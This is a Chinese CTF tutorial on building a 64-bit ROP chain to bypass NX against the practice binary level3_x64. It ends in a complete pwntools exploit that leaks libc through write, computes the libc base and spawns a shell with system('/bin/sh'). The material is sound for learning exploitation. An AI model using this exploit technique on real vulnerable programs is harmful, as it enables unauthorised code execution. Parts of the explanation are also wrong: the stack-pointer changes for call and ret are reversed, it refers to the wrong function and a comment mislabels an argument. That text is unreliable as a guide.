NX 栈不可执行的绕过方式--ROP链
( 这些工具可以到github官网找) 1.检查程序开了哪些安全机制checksec 检查保护机制 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found 金丝雀 NX: NX enabled 栈不可执行Windows平台上称其为DEP PIE: No PIE (0x8048000) 内存地址随机化机制,Windows平台上称其为ASLR 2.在ida中静态查看看程序中的漏洞点可以看到 buf 这个字符串数组只有0x80的大小,但是却可以 read 0x200 个字节 多出来的 0x200-0x80 就会造成溢出 函数调用方式的基本介绍32位程序默认调用函数的方式为先将参数压入栈中,靠近call指令的是第一个参数而64位程序默认调用函数的方式则不同
rop 的基本介绍这里只说一下64位程序的rop,了解完64位的rop,32位的程序稍微做一下函数调用方式上的改变就好了 比如:现在有3个函数 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函数有栈溢出漏洞,a函数是个输入函数,c函数是system函数 我们要利用b函数的漏洞,运行c函数,而c函数需要从a函数上得到"/bin/sh"这种参数 该怎么做呢? 首先我们要知道 call 指令与 ret 指令是有两步操作的call指令: 1. 先把下一句指令的地址压入栈顶 rsp+=8 2. 跳转到call后面跟的地址上去 ret指令: 1. 跳转到rsp所指的地址(之前的call压入的) 2. rsp-=8 如果我们调用函数时不使用call指令呢? 函数结束时,移动栈顶(清栈) jmp [rsp],rsp-=8程序中找 pop rsi,pop rdi,ret 这种相连的指令(不相连也可以,不要再影响rsi,rdi就好),把地址记录下来pop_ret 程序中找 pop rdi,ret 这种相连的指令,把地址记录下来pop_ret2 好,我们把c函数的rbp+8的位置写 pop_ret 的地址
当b运行结束后,会返回到 pop_ret 位置 pop rsi rsi=arg2 pop rdi rdi=agr1 jmp a函数 a函数 执行完后 会ret 到pop_ret2 pop rdi rdi=arg1 然后运行c函数 回到我们的目标程序ROPgadget --binary level3_x64 --only ‘pop|ret‘ 找到main函数的地址 from pwn import * p = process("./level3_x64") #本地调试 #p = remote("x.x.x.x",xxxx) #远程调试remote(ip,port) pop_rdi_ret = 0x4006b3 pop_rsi_r15_ret = 0x4006b1 main_addr = 0x40061A write_plt = elf.plt["write"] write_got = elf.got["write"] padding = (0x80 + 8 ) * "a" #0x80字符串长度要覆盖过去,+8是要覆盖rbp payload1 = padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) #通过plt表中的write调用 write(1,write_plt,...) #第三个参数只要当前rdx寄存器中的数大于8就好 #然后返回main函数重新运行,准备重新触发漏洞 p.sendafter("Input:n",payload1) addr = u64(p.recv(6).ljust(8,"x00")) #通过write_plt找泄露libc中write的地址 libc.address = addr - libc.symbols["write"] #通过write的地址 找libc基地址 binsh=libc.search("/bin/sh").next() #通过libc基地址找libc中这个字符串的地址 system=libc.symbols["system"] #通过libc基地址找libc中systemp函数的地址 payload2 = padding + p64(pop_rdi_ret)+ p64(binsh)+p64(system) #system("bin/sh") p.send(payload2) p.interactive() 成功启动了shell(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |